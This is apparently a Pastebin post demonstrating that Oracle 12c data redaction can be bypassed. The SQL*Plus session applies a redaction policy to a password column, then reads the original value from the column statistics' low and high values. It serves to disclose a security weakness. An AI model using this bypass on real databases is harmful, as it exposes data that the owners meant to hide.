Advertisement
ExaGridDba

redacted 12c column exposed via tab statistics

Jul 27th, 2014
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. BY: Brian Fitzgerald
  2.  
  3.  
  4. SQL>
  5. SQL> GRANT SELECT ON security.secret TO bob;
  6.  
  7. GRANT succeeded.
  8.  
  9. SQL> GRANT SELECT ANY dictionary TO bob;
  10.  
  11. GRANT succeeded.
  12.  
  13. SQL> CONNECT bob/bob
  14. Connected.
  15. SQL> COLUMN unredactedpassword format a20
  16. SQL> SELECT password unredactedpassword FROM security.secret;
  17.  
  18. UNREDACTEDPASSWORD
  19. --------------------
  20. h1d.d3n
  21.  
  22. SQL>
  23. SQL> CONNECT / AS sysdba
  24. Connected.
  25. SQL> BEGIN
  26.   2          dbms_redact.add_policy (
  27.   3                  object_schema           => 'security',
  28.   4                  object_name             => 'secret',
  29.   5                  policy_name             => 'redact_password',
  30.   6                  column_name             => 'password',
  31.   7                  function_type           => dbms_redact.random,
  32.   8                  expression              => '1=1'
  33.   9          );
  34.  10  END;
  35.  11  /
  36.  
  37. PL/SQL PROCEDURE successfully completed.
  38.  
  39. SQL>
  40. SQL> CONNECT bob/bob
  41. Connected.
  42. SQL> COLUMN redactedpassword format a20
  43. SQL> SELECT password redactedpassword FROM security.secret;
  44.  
  45. REDACTEDPASSWORD
  46. --------------------
  47. W9-34vq
  48.  
  49. SQL>
  50. SQL> COLUMN lo format a40
  51. SQL> COLUMN hi format a40
  52. SQL> SELECT utl_raw.cast_to_varchar2(low_value ) lo,
  53.   2  utl_raw.cast_to_varchar2(high_value ) hi
  54.   3  FROM dba_tab_col_statistics
  55.   4          WHERE owner = 'SECURITY'
  56.   5          AND table_name = 'SECRET'
  57.   6          AND column_name = 'PASSWORD'
  58.   7  ;
  59.  
  60. LO                                       HI
  61. ---------------------------------------- ----------------------------------------
  62. h1d.d3n                                  h1d.d3n
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement